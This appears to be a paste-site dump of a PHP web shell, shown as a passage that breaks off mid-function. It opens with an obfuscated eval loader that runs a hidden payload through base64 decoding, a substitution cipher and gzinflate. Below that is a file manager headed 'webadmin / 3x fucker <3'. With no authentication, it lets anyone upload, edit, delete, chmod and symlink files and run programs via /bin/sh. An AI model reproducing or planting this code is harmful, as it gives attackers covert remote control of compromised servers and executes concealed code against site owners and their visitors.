· 7 years ago · Jan 12, 2019, 08:46 AM
1<?php
2error_reporting(0);
3ini_set('max_execution_time',0);
4eval(base64_decode("JGNvbj1bIkEiPT4icSIsCiAgICAgICJCIj0+InciLAogICAgICAiQyI9PiJlIiwKICAgICAgIkQiPT4iciIsCiAgICAgICJFIj0+InQiLAogICAgICAiRiI9PiJ5IiwKICAgICAgIkciPT4idSIsCiAgICAgICJIIj0+ImkiLAogICAgICAiSSI9PiJvIiwKICAgICAgIkoiPT4icCIsCiAgICAgICJLIj0+IlsiLAogICAgICAiTCI9PiJdIiwKICAgICAgIk0iPT4iYSIsCiAgICAgICJOIj0+InMiLAogICAgICAiTyI9PiJkIiwKICAgICAgIlAiPT4iZiIsCiAgICAgICJRIj0+ImciLAogICAgICAiUiI9PiJoIiwKICAgICAgIlMiPT4iaiIsCiAgICAgICJUIj0+ImsiLAogICAgICAiVSI9PiJsIiwKICAgICAgIlYiPT4iOyIsCiAgICAgICJXIj0+IiciLAogICAgICAiWCI9PiJ8IiwKICAgICAgIlkiPT4ieiIsCiAgICAgICJaIj0+IngiLAogICAgICAiYSI9PiJjIiwKICAgICAgImIiPT4idiIsCiAgICAgICJjIj0+ImIiLAogICAgICAiZCI9PiJuIiwKICAgICAgImUiPT4ibSIsCiAgICAgICJmIj0+IiwiLAogICAgICAiZyI9PiIuIiwKICAgICAgImgiPT4ifSIsCiAgICAgICJpIj0+IlEiLAogICAgICAiaiI9PiJXIiwKICAgICAgImsiPT4iRSIsCiAgICAgICJsIj0+IlIiLAogICAgICAibSI9PiJUIiwKICAgICAgIm4iPT4iWSIsCiAgICAgICJvIj0+IlUiLAogICAgICAicCI9PiJJIiwKICAgICAgInEiPT4iTyIsCiAgICAgICJyIj0+IlAiLAogICAgICAicyI9PiIxIiwKICAgICAgInQiPT4iMiIsCiAgICAgICJ1Ij0+IkEiLAogICAgICAidiI9PiJTIiwKICAgICAgInciPT4iRCIsCiAgICAgICJ4Ij0+IkYiLAogICAgICAieSI9PiJHIiwKICAgICAgInoiPT4iSCIsCiAgICAgICIwIj0+IkoiLAogICAgICAiMSI9PiJLIiwKICAgICAgIjIiPT4iTCIsCiAgICAgICIzIj0+IjAiLAogICAgICAiNCI9PiI5IiwKICAgICAgIjUiPT4iOCIsCiAgICAgICI2Ij0+IjciLAogICAgICAiNyI9PiI2IiwKICAgICAgIjgiPT4iNSIsCiAgICAgICI5Ij0+IjQiLAogICAgICAiKyI9PiIzIiwKICAgICAgIi8iPT4iPSIsCiAgICAgICI9Ij0+IiYiXTs="));
5$x=str_split("I;shv81Dti6,P6}t;gJje1E.PvgOrK|yKEIPt.injFhxRwGppveh6lFt;,=6vew2KYvvD0.Fn=,n86SfnGQREyhQ]chT,dAa0c2fqoDHORq6IaUcQ.0Tm5JtI8I;j]DdURqI7Ka7E4II|'b5O0qLrpO}2zU4HLJ'Ru]]Adfet=.3KopFr;PqoDo|uWm.n8TurjOL8;7i,lR;EaE'wPYtHoo,rFqJ4lgu1pgkY.mWtjF9mketUAHg,JodktTThpYFWcWU|IzD.JIkcHAkb,285rT5ra]Ix|qhkUdLpxdhnK}6l[s]071pKypUEg1vprA27G33k6Ug[FGTPi8YsoYQiKu5oPnIAEHoLU|Hb0WY}zu}tt;wPtWSmy;]ra52n;AuUhcKzvmuwHbf5,,yaO|T5t7GhL=AUvm]pr;0Wzr9Ftx,Im.63.20i[lf5kGsP3,pKGWLga14iY;g[i3QIdt9faIEp7xW3weWnr2FxxcWa=j,k.I8iYUY;jb05xL8m084i8uKnJPGv4P=za;5pJ6nSvn}LS6xxLqydof|yJ7jA5;5;'LTW1ROrA6cn,1F.pb83wcRO0z=A}i9HgdH'vb6,h6q}7GThjA6]gp]}bm4ASUy");
6$new="";
7foreach($x as $xx) {
8 foreach($con as $main=>$val) {
9 if($xx==(string)$val) {
10 $new.=$main;
11 break;
12 }
13 }
14}
15eval(gzinflate(base64_decode($new)));
16?>
17<?php
18
19$htaccess = '.htaccess';
20$htpasswd = '.htpasswd';
21
22
23if (get_magic_quotes_gpc()) {
24 array_walk($_GET, 'strip');
25 array_walk($_POST, 'strip');
26 array_walk($_REQUEST, 'strip');
27}
28
29if (array_key_exists('image', $_GET)) {
30 header('Content-Type: image/gif');
31 die(getimage($_GET['image']));
32}
33
34if (!function_exists('lstat')) {
35 function lstat ($filename) {
36 return stat($filename);
37 }
38}
39
40$delim = DIRECTORY_SEPARATOR;
41
42if (function_exists('php_uname')) {
43 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
44} else {
45 $win = ($delim == '\\') ? true : false;
46}
47
48if (!empty($_SERVER['PATH_TRANSLATED'])) {
49 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
50} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
51 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
52} elseif (function_exists('getcwd')) {
53 $scriptdir = getcwd();
54} else {
55 $scriptdir = '.';
56}
57$homedir = relative2absolute($homedir, $scriptdir);
58
59$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
60
61if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
62 $dir = relative2absolute($dir, $_POST['olddir']);
63}
64
65$directory = simplify_path(addslash($dir));
66
67$files = array();
68$action = '';
69if (!empty($_POST['submit_all'])) {
70 $action = $_POST['action_all'];
71 for ($i = 0; $i < $_POST['num']; $i++) {
72 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
73 $files[] = $_POST["file$i"];
74 }
75 }
76} elseif (!empty($_REQUEST['action'])) {
77 $action = $_REQUEST['action'];
78 $files[] = relative2absolute($_REQUEST['file'], $directory);
79} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
80 $files[] = $_FILES['upload'];
81 $action = 'upload';
82} elseif (array_key_exists('num', $_POST)) {
83 for ($i = 0; $i < $_POST['num']; $i++) {
84 if (array_key_exists("submit$i", $_POST)) break;
85 }
86 if ($i < $_POST['num']) {
87 $action = $_POST["action$i"];
88 $files[] = $_POST["file$i"];
89 }
90}
91if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
92 $files[] = relative2absolute($_POST['create_name'], $directory);
93 switch ($_POST['create_type']) {
94 case 'directory':
95 $action = 'create_directory';
96 break;
97 case 'file':
98 $action = 'create_file';
99 }
100}
101if (sizeof($files) == 0) $action = ''; else $file = reset($files);
102
103if ($lang == 'auto') {
104 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
105 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
106 } else {
107 $lang = 'en';
108 }
109}
110
111$words = getwords($lang);
112
113if ($site_charset == 'auto') {
114 $site_charset = $word_charset;
115}
116
117$cols = ($win) ? 4 : 7;
118
119if (!isset($dirpermission)) {
120 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
121}
122if (!isset($filepermission)) {
123 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
124}
125
126if (!empty($_SERVER['SCRIPT_NAME'])) {
127 $self = html(basename($_SERVER['SCRIPT_NAME']));
128} elseif (!empty($_SERVER['PHP_SELF'])) {
129 $self = html(basename($_SERVER['PHP_SELF']));
130} else {
131 $self = '';
132}
133
134if (!empty($_SERVER['SERVER_SOFTWARE'])) {
135 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
136 $apache = true;
137 } else {
138 $apache = false;
139 }
140} else {
141 $apache = true;
142}
143
144switch ($action) {
145
146case 'view':
147
148 if (is_script($file)) {
149
150 /* highlight_file is a mess! */
151 ob_start();
152 highlight_file($file);
153 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
154 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
155 ob_end_clean();
156
157 html_header();
158 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
159
160<hr />
161
162<table>
163<tr>
164<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
165<pre style="margin-top: 0"><code>';
166
167 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
168
169 echo '</code></pre>
170</td>
171<td style="text-align: left; vertical-align: top; padding-left: 3pt">
172<pre style="margin-top: 0">' . $src . '</pre>
173</td>
174</tr>
175</table>
176
177';
178
179 html_footer();
180
181 } else {
182
183 header('Content-Type: ' . getmimetype($file));
184 header('Content-Disposition: filename=' . basename($file));
185
186 readfile($file);
187
188 }
189
190 break;
191
192case 'download':
193
194 header('Pragma: public');
195 header('Expires: 0');
196 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
197 header('Content-Type: ' . getmimetype($file));
198 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
199 header('Content-Length: ' . filesize($file));
200
201 readfile($file);
202
203 break;
204
205case 'upload':
206
207 $dest = relative2absolute($file['name'], $directory);
208
209 if (@file_exists($dest)) {
210 listing_page(error('already_exists', $dest));
211 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
212 @chmod($dest, $filepermission);
213 listing_page(notice('uploaded', $file['name']));
214 } else {
215 listing_page(error('not_uploaded', $file['name']));
216 }
217
218 break;
219
220case 'create_directory':
221
222 if (@file_exists($file)) {
223 listing_page(error('already_exists', $file));
224 } else {
225 $old = @umask(0777 & ~$dirpermission);
226 if (@mkdir($file, $dirpermission)) {
227 listing_page(notice('created', $file));
228 } else {
229 listing_page(error('not_created', $file));
230 }
231 @umask($old);
232 }
233
234 break;
235
236case 'create_file':
237
238 if (@file_exists($file)) {
239 listing_page(error('already_exists', $file));
240 } else {
241 $old = @umask(0777 & ~$filepermission);
242 if (@touch($file)) {
243 edit($file);
244 } else {
245 listing_page(error('not_created', $file));
246 }
247 @umask($old);
248 }
249
250 break;
251
252case 'execute':
253
254 chdir(dirname($file));
255
256 $output = array();
257 $retval = 0;
258 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
259
260 $error = ($retval == 0) ? false : true;
261
262 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
263
264 if ($error) {
265 listing_page(error('not_executed', $file, implode("\n", $output)));
266 } else {
267 listing_page(notice('executed', $file, implode("\n", $output)));
268 }
269
270 break;
271
272case 'delete':
273
274 if (!empty($_POST['no'])) {
275 listing_page();
276 } elseif (!empty($_POST['yes'])) {
277
278 $failure = array();
279 $success = array();
280
281 foreach ($files as $file) {
282 if (del($file)) {
283 $success[] = $file;
284 } else {
285 $failure[] = $file;
286 }
287 }
288
289 $message = '';
290 if (sizeof($failure) > 0) {
291 $message = error('not_deleted', implode("\n", $failure));
292 }
293 if (sizeof($success) > 0) {
294 $message .= notice('deleted', implode("\n", $success));
295 }
296
297 listing_page($message);
298
299 } else {
300
301 html_header();
302
303 echo '<form action="' . $self . '" method="post">
304<table class="dialog">
305<tr>
306<td class="dialog">
307';
308
309 request_dump();
310
311 echo "\t<b>" . word('really_delete') . '</b>
312 <p>
313';
314
315 foreach ($files as $file) {
316 echo "\t" . html($file) . "<br />\n";
317 }
318
319 echo ' </p>
320 <hr />
321 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
322 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
323</td>
324</tr>
325</table>
326</form>
327
328';
329
330 html_footer();
331
332 }
333
334 break;
335
336case 'rename':
337
338 if (!empty($_POST['destination'])) {
339
340 $dest = relative2absolute($_POST['destination'], $directory);
341
342 if (!@file_exists($dest) && @rename($file, $dest)) {
343 listing_page(notice('renamed', $file, $dest));
344 } else {
345 listing_page(error('not_renamed', $file, $dest));
346 }
347
348 } else {
349
350 $name = basename($file);
351
352 html_header();
353
354 echo '<form action="' . $self . '" method="post">
355
356<table class="dialog">
357<tr>
358<td class="dialog">
359 <input type="hidden" name="action" value="rename" />
360 <input type="hidden" name="file" value="' . html($file) . '" />
361 <input type="hidden" name="dir" value="' . html($directory) . '" />
362 <b>' . word('rename_file') . '</b>
363 <p>' . html($file) . '</p>
364 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
365 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
366 <hr />
367 <input type="submit" value="' . word('rename') . '" />
368</td>
369</tr>
370</table>
371
372<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
373
374</form>
375
376';
377
378 html_footer();
379
380 }
381
382 break;
383
384case 'move':
385
386 if (!empty($_POST['destination'])) {
387
388 $dest = relative2absolute($_POST['destination'], $directory);
389
390 $failure = array();
391 $success = array();
392
393 foreach ($files as $file) {
394 $filename = substr($file, strlen($directory));
395 $d = $dest . $filename;
396 if (!@file_exists($d) && @rename($file, $d)) {
397 $success[] = $file;
398 } else {
399 $failure[] = $file;
400 }
401 }
402
403 $message = '';
404 if (sizeof($failure) > 0) {
405 $message = error('not_moved', implode("\n", $failure), $dest);
406 }
407 if (sizeof($success) > 0) {
408 $message .= notice('moved', implode("\n", $success), $dest);
409 }
410
411 listing_page($message);
412
413 } else {
414
415 html_header();
416
417 echo '<form action="' . $self . '" method="post">
418
419<table class="dialog">
420<tr>
421<td class="dialog">
422';
423
424 request_dump();
425
426 echo "\t<b>" . word('move_files') . '</b>
427 <p>
428';
429
430 foreach ($files as $file) {
431 echo "\t" . html($file) . "<br />\n";
432 }
433
434 echo ' </p>
435 <hr />
436 ' . word('destination') . ':
437 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
438 <input type="submit" value="' . word('move') . '" />
439</td>
440</tr>
441</table>
442
443<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
444
445</form>
446
447';
448
449 html_footer();
450
451 }
452
453 break;
454
455case 'copy':
456
457 if (!empty($_POST['destination'])) {
458
459 $dest = relative2absolute($_POST['destination'], $directory);
460
461 if (@is_dir($dest)) {
462
463 $failure = array();
464 $success = array();
465
466 foreach ($files as $file) {
467 $filename = substr($file, strlen($directory));
468 $d = addslash($dest) . $filename;
469 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
470 $success[] = $file;
471 } else {
472 $failure[] = $file;
473 }
474 }
475
476 $message = '';
477 if (sizeof($failure) > 0) {
478 $message = error('not_copied', implode("\n", $failure), $dest);
479 }
480 if (sizeof($success) > 0) {
481 $message .= notice('copied', implode("\n", $success), $dest);
482 }
483
484 listing_page($message);
485
486 } else {
487
488 if (!@file_exists($dest) && @copy($file, $dest)) {
489 listing_page(notice('copied', $file, $dest));
490 } else {
491 listing_page(error('not_copied', $file, $dest));
492 }
493
494 }
495
496 } else {
497
498 html_header();
499
500 echo '<form action="' . $self . '" method="post">
501
502<table class="dialog">
503<tr>
504<td class="dialog">
505';
506
507 request_dump();
508
509 echo "\n<b>" . word('copy_files') . '</b>
510 <p>
511';
512
513 foreach ($files as $file) {
514 echo "\t" . html($file) . "<br />\n";
515 }
516
517 echo ' </p>
518 <hr />
519 ' . word('destination') . ':
520 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
521 <input type="submit" value="' . word('copy') . '" />
522</td>
523</tr>
524</table>
525
526<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
527
528</form>
529
530';
531
532 html_footer();
533
534 }
535
536 break;
537
538case 'create_symlink':
539
540 if (!empty($_POST['destination'])) {
541
542 $dest = relative2absolute($_POST['destination'], $directory);
543
544 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
545
546 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
547
548 if (!@file_exists($dest) && @symlink($file, $dest)) {
549 listing_page(notice('symlinked', $file, $dest));
550 } else {
551 listing_page(error('not_symlinked', $file, $dest));
552 }
553
554 } else {
555
556 html_header();
557
558 echo '<form action="' . $self . '" method="post">
559
560<table class="dialog" id="symlink">
561<tr>
562 <td style="vertical-align: top">' . word('destination') . ': </td>
563 <td>
564 <b>' . html($file) . '</b><br />
565 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
566 <label for="checkbox_relative">' . word('relative') . '</label>
567 <input type="hidden" name="action" value="create_symlink" />
568 <input type="hidden" name="file" value="' . html($file) . '" />
569 <input type="hidden" name="dir" value="' . html($directory) . '" />
570 </td>
571</tr>
572<tr>
573 <td>' . word('symlink') . ': </td>
574 <td>
575 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
576 <input type="submit" value="' . word('create_symlink') . '" />
577 </td>
578</tr>
579</table>
580
581<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
582
583</form>
584
585';
586
587 html_footer();
588
589 }
590
591 break;
592
593case 'edit':
594
595 if (!empty($_POST['save'])) {
596
597 $content = str_replace("\r\n", "\n", $_POST['content']);
598
599 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
600 listing_page(notice('saved', $file));
601 } else {
602 listing_page(error('not_saved', $file));
603 }
604
605 } else {
606
607 if (@is_readable($file) && @is_writable($file)) {
608 edit($file);
609 } else {
610 listing_page(error('not_edited', $file));
611 }
612
613 }
614
615 break;
616
617case 'permission':
618
619 if (!empty($_POST['set'])) {
620
621 $mode = 0;
622 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
623 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
624 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
625
626 if (@chmod($file, $mode)) {
627 listing_page(notice('permission_set', $file, decoct($mode)));
628 } else {
629 listing_page(error('permission_not_set', $file, decoct($mode)));
630 }
631
632 } else {
633
634 html_header();
635
636 $mode = fileperms($file);
637
638 echo '<form action="' . $self . '" method="post">
639
640<table class="dialog">
641<tr>
642<td class="dialog">
643
644 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
645
646 <hr />
647
648 <table id="permission">
649 <tr>
650 <td></td>
651 <td style="border-right: 1px solid black">' . word('owner') . '</td>
652 <td style="border-right: 1px solid black">' . word('group') . '</td>
653 <td>' . word('other') . '</td>
654 </tr>
655 <tr>
656 <td style="text-align: right">' . word('read') . ':</td>
657 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
658 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
659 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
660 </tr>
661 <tr>
662 <td style="text-align: right">' . word('write') . ':</td>
663 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
664 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
665 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
666 </tr>
667 <tr>
668 <td style="text-align: right">' . word('execute') . ':</td>
669 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
670 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
671 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
672 </tr>
673 </table>
674
675 <hr />
676
677 <input type="submit" name="set" value="' . word('set') . '" />
678
679 <input type="hidden" name="action" value="permission" />
680 <input type="hidden" name="file" value="' . html($file) . '" />
681 <input type="hidden" name="dir" value="' . html($directory) . '" />
682
683</td>
684</tr>
685</table>
686
687<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
688
689</form>
690
691';
692
693 html_footer();
694
695 }
696
697 break;
698
699default:
700
701 listing_page();
702
703}
704
705/* ------------------------------------------------------------------------- */
706
707function getlist ($directory) {
708 global $delim, $win;
709
710 if ($d = @opendir($directory)) {
711
712 while (($filename = @readdir($d)) !== false) {
713
714 $path = $directory . $filename;
715
716 if ($stat = @lstat($path)) {
717
718 $file = array(
719 'filename' => $filename,
720 'path' => $path,
721 'is_file' => @is_file($path),
722 'is_dir' => @is_dir($path),
723 'is_link' => @is_link($path),
724 'is_readable' => @is_readable($path),
725 'is_writable' => @is_writable($path),
726 'size' => $stat['size'],
727 'permission' => $stat['mode'],
728 'owner' => $stat['uid'],
729 'group' => $stat['gid'],
730 'mtime' => @filemtime($path),
731 'atime' => @fileatime($path),
732 'ctime' => @filectime($path)
733 );
734
735 if ($file['is_dir']) {
736 $file['is_executable'] = @file_exists($path . $delim . '.');
737 } else {
738 if (!$win) {
739 $file['is_executable'] = @is_executable($path);
740 } else {
741 $file['is_executable'] = true;
742 }
743 }
744
745 if ($file['is_link']) $file['target'] = @readlink($path);
746
747 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
748 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
749
750 $files[] = $file;
751
752 }
753
754 }
755
756 return $files;
757
758 } else {
759 return false;
760 }
761
762}
763
764function sortlist ($list, $key, $reverse) {
765
766 $dirs = array();
767 $files = array();
768
769 for ($i = 0; $i < sizeof($list); $i++) {
770 if ($list[$i]['is_dir']) $dirs[] = $list[$i];
771 else $files[] = $list[$i];
772 }
773
774 quicksort($dirs, 0, sizeof($dirs) - 1, $key);
775 if ($reverse) $dirs = array_reverse($dirs);
776
777 quicksort($files, 0, sizeof($files) - 1, $key);
778 if ($reverse) $files = array_reverse($files);
779
780 return array_merge($dirs, $files);
781
782}
783
784function quicksort (&$array, $first, $last, $key) {
785
786 if ($first < $last) {
787
788 $cmp = $array[floor(($first + $last) / 2)][$key];
789
790 $l = $first;
791 $r = $last;
792
793 while ($l <= $r) {
794
795 while ($array[$l][$key] < $cmp) $l++;
796 while ($array[$r][$key] > $cmp) $r--;
797
798 if ($l <= $r) {
799
800 $tmp = $array[$l];
801 $array[$l] = $array[$r];
802 $array[$r] = $tmp;
803
804 $l++;
805 $r--;
806
807 }
808
809 }
810
811 quicksort($array, $first, $r, $key);
812 quicksort($array, $l, $last, $key);
813
814 }
815
816}
817
818function permission_octal2string ($mode) {
819
820 if (($mode & 0xC000) === 0xC000) {
821 $type = 's';
822 } elseif (($mode & 0xA000) === 0xA000) {
823 $type = 'l';
824 } elseif (($mode & 0x8000) === 0x8000) {
825 $type = '-';
826 } elseif (($mode & 0x6000) === 0x6000) {
827 $type = 'b';
828 } elseif (($mode & 0x4000) === 0x4000) {
829 $type = 'd';
830 } elseif (($mode & 0x2000) === 0x2000) {
831 $type = 'c';
832 } elseif (($mode & 0x1000) === 0x1000) {
833 $type = 'p';
834 } else {
835 $type = '?';
836 }
837
838 $owner = ($mode & 00400) ? 'r' : '-';
839 $owner .= ($mode & 00200) ? 'w' : '-';
840 if ($mode & 0x800) {
841 $owner .= ($mode & 00100) ? 's' : 'S';
842 } else {
843 $owner .= ($mode & 00100) ? 'x' : '-';
844 }
845
846 $group = ($mode & 00040) ? 'r' : '-';
847 $group .= ($mode & 00020) ? 'w' : '-';
848 if ($mode & 0x400) {
849 $group .= ($mode & 00010) ? 's' : 'S';
850 } else {
851 $group .= ($mode & 00010) ? 'x' : '-';
852 }
853
854 $other = ($mode & 00004) ? 'r' : '-';
855 $other .= ($mode & 00002) ? 'w' : '-';
856 if ($mode & 0x200) {
857 $other .= ($mode & 00001) ? 't' : 'T';
858 } else {
859 $other .= ($mode & 00001) ? 'x' : '-';
860 }
861
862 return $type . $owner . $group . $other;
863
864}
865
866function is_script ($filename) {
867 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
868}
869
870function getmimetype ($filename) {
871 static $mimes = array(
872 '\.jpg$|\.jpeg$' => 'image/jpeg',
873 '\.gif$' => 'image/gif',
874 '\.png$' => 'image/png',
875 '\.html$|\.html$' => 'text/html',
876 '\.txt$|\.asc$' => 'text/plain',
877 '\.xml$|\.xsl$' => 'application/xml',
878 '\.pdf$' => 'application/pdf'
879 );
880
881 foreach ($mimes as $regex => $mime) {
882 if (eregi($regex, $filename)) return $mime;
883 }
884
885 // return 'application/octet-stream';
886 return 'text/plain';
887
888}
889
890function del ($file) {
891 global $delim;
892
893 if (!file_exists($file)) return false;
894
895 if (@is_dir($file) && !@is_link($file)) {
896
897 $success = false;
898
899 if (@rmdir($file)) {
900
901 $success = true;
902
903 } elseif ($dir = @opendir($file)) {
904
905 $success = true;
906
907 while (($f = readdir($dir)) !== false) {
908 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
909 $success = false;
910 }
911 }
912 closedir($dir);
913
914 if ($success) $success = @rmdir($file);
915
916 }
917
918 return $success;
919
920 }
921
922 return @unlink($file);
923
924}
925
926function addslash ($directory) {
927 global $delim;
928
929 if (substr($directory, -1, 1) != $delim) {
930 return $directory . $delim;
931 } else {
932 return $directory;
933 }
934
935}
936
937function relative2absolute ($string, $directory) {
938
939 if (path_is_relative($string)) {
940 return simplify_path(addslash($directory) . $string);
941 } else {
942 return simplify_path($string);
943 }
944
945}
946
947function path_is_relative ($path) {
948 global $win;
949
950 if ($win) {
951 return (substr($path, 1, 1) != ':');
952 } else {
953 return (substr($path, 0, 1) != '/');
954 }
955
956}
957
958function absolute2relative ($directory, $target) {
959 global $delim;
960
961 $path = '';
962 while ($directory != $target) {
963 if ($directory == substr($target, 0, strlen($directory))) {
964 $path .= substr($target, strlen($directory));
965 break;
966 } else {
967 $path .= '..' . $delim;
968 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
969 }
970 }
971 if ($path == '') $path = '.';
972
973 return $path;
974
975}
976
977function simplify_path ($path) {
978 global $delim;
979
980 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
981 $path = realpath($path);
982 if (@is_dir($path)) {
983 return addslash($path);
984 } else {
985 return $path;
986 }
987 }
988
989 $pattern = $delim . '.' . $delim;
990
991 if (@is_dir($path)) {
992 $path = addslash($path);
993 }
994
995 while (strpos($path, $pattern) !== false) {
996 $path = str_replace($pattern, $delim, $path);
997 }
998
999 $e = addslashes($delim);
1000 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1001
1002 while (ereg($regex, $path)) {
1003 $path = ereg_replace($regex, $delim, $path);
1004 }
1005
1006 return $path;
1007
1008}
1009
1010function human_filesize ($filesize) {
1011
1012 $suffices = 'kMGTPE';
1013
1014 $n = 0;
1015 while ($filesize >= 1000) {
1016 $filesize /= 1024;
1017 $n++;
1018 }
1019
1020 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1021
1022 if (strpos($filesize, '.') !== false) {
1023 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1024 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1025 }
1026 }
1027
1028 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1029
1030 return $filesize . " {$suffix}B";
1031
1032}
1033
1034function strip (&$str) {
1035 $str = stripslashes($str);
1036}
1037
1038/* ------------------------------------------------------------------------- */
1039
1040function listing_page ($message = null) {
1041 global $self, $directory, $sort, $reverse;
1042
1043 html_header();
1044
1045 $list = getlist($directory);
1046
1047 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1048 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1049
1050 echo '<h1 style="margin-bottom: 0">webadmin / 3x fucker <3</h1>
1051
1052<form enctype="multipart/form-data" action="' . $self . '" method="post">
1053
1054<table id="main">
1055';
1056
1057 directory_choice();
1058
1059 if (!empty($message)) {
1060 spacer();
1061 echo $message;
1062 }
1063
1064 if (@is_writable($directory)) {
1065 upload_box();
1066 create_box();
1067 } else {
1068 spacer();
1069 }
1070
1071 if ($list) {
1072 $list = sortlist($list, $sort, $reverse);
1073 listing($list);
1074 } else {
1075 echo error('not_readable', $directory);
1076 }
1077
1078 echo '</table>
1079
1080</form>
1081
1082';
1083
1084 html_footer();
1085
1086}
1087
1088function listing ($list) {
1089 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1090
1091 echo '<tr class="listing">
1092 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1093';
1094
1095 column_title('filename', $sort, $reverse);
1096 column_title('size', $sort, $reverse);
1097
1098 if (!$win) {
1099 column_title('permission', $sort, $reverse);
1100 column_title('owner', $sort, $reverse);
1101 column_title('group', $sort, $reverse);
1102 }
1103
1104 echo ' <th class="functions">' . word('functions') . '</th>
1105</tr>
1106';
1107
1108 for ($i = 0; $i < sizeof($list); $i++) {
1109 $file = $list[$i];
1110
1111 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1112 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1113 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1114
1115 echo '<tr class="listing">
1116 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
